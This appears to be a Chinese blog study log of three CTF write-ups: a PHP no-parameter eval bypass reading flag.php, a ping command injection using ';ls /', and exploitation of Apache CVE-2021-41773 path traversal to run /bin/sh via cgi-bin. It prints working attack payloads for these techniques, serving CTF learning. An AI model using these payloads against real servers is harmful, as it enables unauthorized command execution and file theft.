4月9日学习记录

[GXYCTF 2019]禁止套娃

涉及知识点:git泄露,无参数RCE

打开环境,源码什么的都没有,扫描后台看看

扫描发现存在git泄露

用githack下载查看得到一串源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

又看见了';',很明显的无参数绕过了,但是还是不考虑getallheaders,因为不清楚环境条件,所以一般不使用,还是选择利用php函数来绕过;

php的伪协议被过滤了,还有一些数学函数也被过滤了,就老实利用php函数来绕过了

localeconv() -- 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

pos() -- 返回数组中的当前单元, 默认取第一个值

next -- 将内部指针指向数组下一个元素并输出

scandir() -- 扫描目录

array_reverse() -- 翻转数组

array_flip() - 键名与数组值对调

readfile()

array_rand() - 随机读取键名

var_dump() - 输出数组,可以用print_r替代

file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替

get_defined_vars() - 返回由所有已定义变量所组成的数组

end() - 读取数组最后一个元素

current() - 读取数组的第一个元

参数是exp,开始传参

exp=var_dump(localeconv());

返回当前单元,也就是"."下的内容

exp=var_dump(pos(localeconv()));

扫描目录下内容,看见flag.php了,快了

exp=var_dump(scandir(pos(localeconv())));

因为flag.php位置是倒数第二个,所以采取翻转数组,在改变内置指针的指向来读取flag

exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));

读取flag.php,这里用的是show_source命令

exp=var_dump(show_source(next(array_reverse(scandir(pos(localeconv()))))));

[SWPUCTF 2023 秋季新生赛]Pingpingping

源码

需要传入Ping_ip.exe的参数,但是在网页传参以后,"_"会被替换成".",所以用[替换后能正常传参(Ping[ip.exe=127.0.0.1" 是一个Ping命令,用于测试与目标IP地址的网络连接。在这种情况下,目标IP地址是本地回环地址(127.0.0.1),表示测试本机的网络连接。

ping-c3,给了三个ping回显工具,那么到这里后面进正常进行命令执行

Ping[ip.exe=127.0.0.1;ls /

看见flag了,cat就行

[NSSRound#4 SWPU]ez_rce

CVE-2021-41773(Apache HTTP Server路径穿越漏洞)
同时如果Apache HTTPd 开启了 cgi 支持,攻击者可构造恶意请求执行命令,控制服务器。
条件:
配置目录遍历,并且开启cgi mode 2.Apache HTTPd版本为2.4.49/2.4.50 3.存在cgi-bin和icons文件夹;而且/icons/必需是一个可以访问的文件夹
利用 :
抓包构造post传参,传入.%2e/的形式,来绕过对于路径穿越符的检测,在cgi-bin服务器上执行命令执行查看目录
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

打开环境,什么都没有,标签说是CVE泄露,在Apache环境下存在CVE-2021-41773

所以通过抓包,修改传参来绕过

查看flag,但是这里会发现直接查看flag_is_here没有回显,一个一个尝试,在run.sh里面发现线索,有些wp说根据经验知道有个四层文件夹迷宫,然后去爆破四层迷宫,这里查看run.sh也是一样的

看见真正的位置了

相关推荐
dengqingrui1234 小时前
【树形DP】AT_dp_p Independent Set 题解
c++·学习·算法·深度优先·图论·dp
我的心永远是冰冰哒5 小时前
ad.concat()学习
学习
ZZZ_O^O5 小时前
二分查找算法——寻找旋转排序数组中的最小值&点名
数据结构·c++·学习·算法·二叉树
slomay6 小时前
关于对比学习(简单整理
经验分享·深度学习·学习·机器学习
hengzhepa6 小时前
ElasticSearch备考 -- Async search
大数据·学习·elasticsearch·搜索引擎·es
小小洋洋8 小时前
BLE MESH学习1-基于沁恒CH582学习
学习
Ace'9 小时前
每日一题&&学习笔记
笔记·学习
IM_DALLA9 小时前
【Verilog学习日常】—牛客网刷题—Verilog进阶挑战—VL25
学习·fpga开发·verilog学习
丶Darling.10 小时前
LeetCode Hot100 | Day1 | 二叉树:二叉树的直径
数据结构·c++·学习·算法·leetcode·二叉树
z樾12 小时前
Github界面学习
学习